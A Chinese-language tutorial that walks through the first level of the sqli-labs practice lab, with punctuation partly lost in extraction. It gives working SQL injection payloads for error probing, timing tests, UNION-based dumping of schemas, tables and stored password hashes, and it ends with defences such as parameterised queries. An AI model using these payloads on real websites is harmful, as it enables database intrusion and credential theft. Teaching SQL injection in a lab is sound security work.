SQL注入实战:从sqli-labs第一关入门到原理剖析
1. 初识SQL注入从sqli-labs第一关开始第一次接触SQL注入时我盯着屏幕上的报错信息发呆了半小时。那是在2013年的一次网络安全培训中讲师演示了如何用单引号让一个看似正常的网站吐出数据库错误。当时觉得这简直像变魔术——直到我自己在sqli-labs第一关成功复现了这个魔术。什么是SQL注入简单说就是通过构造特殊输入让网站后端的数据库执行非预期的SQL命令。就像你本来想问服务员推荐一道招牌菜结果通过特殊话术套出了后厨所有食材清单。sqli-labs这个开源项目特意设计了漏洞环境第一关就是最基础的字符型注入场景。搭建实验环境只需要docker pull acgpiano/sqli-labs docker run -d -p 80:80 --name sqli-labs acgpiano/sqli-labs访问http://localhost/Less-1/就能看到练习页面。当你输入?id1显示用户Dumb的信息时后台实际执行的SQL是SELECT * FROM users WHERE id1 LIMIT 0,1这个简单的查询语句将成为我们打开数据库大门的钥匙。2. 注入点探测像侦探一样寻找漏洞记得我第一次尝试时直接输入了?id1页面突然蹦出语法错误提示。这种反应就像侦探在敲门时说暗号门后的人不小心露馅了。错误信息显示You have an error in your SQL syntax... near 1 LIMIT 0,1这说明我们输入的单引号被拼接到SQL语句中形成了id1的异常结构。这种输入影响输出的现象就是存在注入点的铁证。更系统的验证方法是使用逻辑测试?id1 or 11 --显示所有用户永真条件?id1 and 12 --不显示任何用户永假条件?id1 and sleep(5) --页面延迟5秒响应其中--是注释符相当于把原SQL中的LIMIT 0,1给屏蔽了。在MySQL中你也可以用#来注释但需要URL编码为%23。3. 数据库侦查从猜字段到爆库结构确定存在注入后接下来要摸清数据库结构。这就像玩解谜游戏时得先知道迷宫有几条通道。猜字段数用order by最方便?id1 order by 3 -- # 正常显示 ?id1 order by 4 -- # 报错Unknown column 4说明查询结果只有3列。这个数字很重要因为后续的union查询必须保持列数一致。找回显点就像在迷宫里做标记?id-1 union select 1,2,3 --这里把id设为-1确保原查询无结果页面显示2和3的位置可以输出数据。在我的实战记录本里这个步骤常被标记为黄金位置发现。4. 信息收割从库名到密码的全套攻击链知道回显点后真正的乐趣开始了。你可以像摘果子一样获取数据库信息查版本和用户?id-1 union select 1,version(),user() --我的测试环境返回5.7.26-0ubuntu0.18.04.1 rootlocalhost爆所有数据库名?id-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --你会看到mysql, information_schema等系统库以及关键的security库sqli-labs用的测试库。获取表名和字段就像打开保险箱# 爆security库的表 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity -- # 爆users表的字段 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers --最后收割用户名密码?id-1 union select 1,group_concat(username),group_concat(password) from users --看到那些用MD5加密的密码时我第一次体会到数据泄露的实感。5. 防御之道从攻击者视角看防护在甲方做安全审计时我常用这个案例给开发团队演示。防御SQL注入的核心原则就两条参数化查询Prepared Statements# 错误示范 cursor.execute(SELECT * FROM users WHERE id%s % user_input) # 正确做法 cursor.execute(SELECT * FROM users WHERE id%s, (user_input,))最小权限原则应用数据库账户只给必要权限禁用information_schema的公共读取加密存储敏感字段有次渗透测试我发现某系统虽然防住了union注入却栽在布尔盲注上。这提醒我们安全防护必须多层部署就像城堡不仅要有高墙还得有护城河和哨塔。